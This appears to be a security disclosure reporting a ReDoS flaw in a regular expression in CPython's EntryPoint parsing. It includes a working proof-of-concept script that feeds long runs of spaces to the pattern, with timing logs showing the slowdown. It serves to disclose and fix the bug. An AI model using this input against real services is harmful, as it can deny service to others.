Description

In recent cpython version (31ff9671) I discovered regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service). Vulnerability exists in EntryPoint class which is used to parse package/module entry-points.

Proof of Concept

Simplified PoC based on init.py

import logging
import re


logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s',
                    level=logging.DEBUG)

pattern = re.compile(
    r'(?P<module>[\w.]+)\s*'
    r'(:\s*(?P<attr>[\w.]+))?\s*'
    r'(?P<extras>\[.*\])?\s*$'
)

for i in range(1, 10000):
    s = '0' + ' ' * 1000 * i + '0'
    logging.debug('Started with {} spaces'.format(1000 * i))
    pattern.match(s)
    logging.debug('Finished with {} spaces'.format(1000 * i))

Output:

2021-12-22 16:03:30,754 - DEBUG: Started with 1000 spaces
2021-12-22 16:03:34,566 - DEBUG: Finished with 1000 spaces
2021-12-22 16:03:34,566 - DEBUG: Started with 2000 spaces
2021-12-22 16:04:05,817 - DEBUG: Finished with 2000 spaces
2021-12-22 16:04:05,817 - DEBUG: Started with 3000 spaces
2021-12-22 16:05:49,228 - DEBUG: Finished with 3000 spaces
2021-12-22 16:05:49,228 - DEBUG: Started with 4000 spaces
2021-12-22 16:09:46,348 - DEBUG: Finished with 4000 spaces
2021-12-22 16:09:46,349 - DEBUG: Started with 5000 spaces
2021-12-22 16:17:31,514 - DEBUG: Finished with 5000 spaces
2021-12-22 16:17:31,514 - DEBUG: Started with 6000 spaces
2021-12-22 16:30:40,249 - DEBUG: Finished with 6000 spaces
2021-12-22 16:30:40,249 - DEBUG: Started with 7000 spaces
2021-12-22 16:51:40,826 - DEBUG: Finished with 7000 spaces

You can see that using more spaces extends running time.

Impact

This issue may lead to a denial of service.